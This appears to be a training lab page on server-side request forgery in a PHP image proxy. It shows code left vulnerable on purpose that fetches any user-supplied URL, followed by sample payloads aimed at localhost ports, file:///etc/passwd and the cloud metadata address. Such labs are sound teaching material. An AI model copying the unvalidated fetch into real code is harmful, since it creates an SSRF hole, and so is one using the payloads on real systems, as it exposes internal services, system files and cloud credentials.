SSRF in image proxy functionality
This lab demonstrates an SSRF vulnerability in an image proxy service. The application fetches images from user-supplied URLs without proper validation, allowing access to internal services and files.
Objective: Use SSRF to access internal services, cloud metadata, or local files through the image proxy.
// Handle image proxy request
if (isset($_GET['image']) && !empty($_GET['image'])) {
$url = $_GET['image'];
// Vulnerable: No validation of image URL
try {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'ImageProxy/1.0',
'follow_location' => true,
'max_redirects' => 5
]
]);
$image_data = file_get_contents($url, false, $context);
if ($image_data !== false) {
$image_info = getimagesizefromstring($image_data);
// Display image
}
} catch (Exception $e) {
// Error handling
}
}
// Example vulnerable usage:
// ?image=https://example.com/image.jpg
// ?image=http://localhost:8080
// ?image=file:///etc/passwd
imageTry these payloads in the image parameter:
http://localhost:8080 - Local servicehttp://127.0.0.1:3306 - Database portfile:///etc/passwd - Local filehttp://169.254.169.254/ - Cloud metadatahttp://localhost:22 - SSH portExample URLs:
2.php?image=http://localhost:80802.php?image=file:///etc/passwdClick these links to test the vulnerability: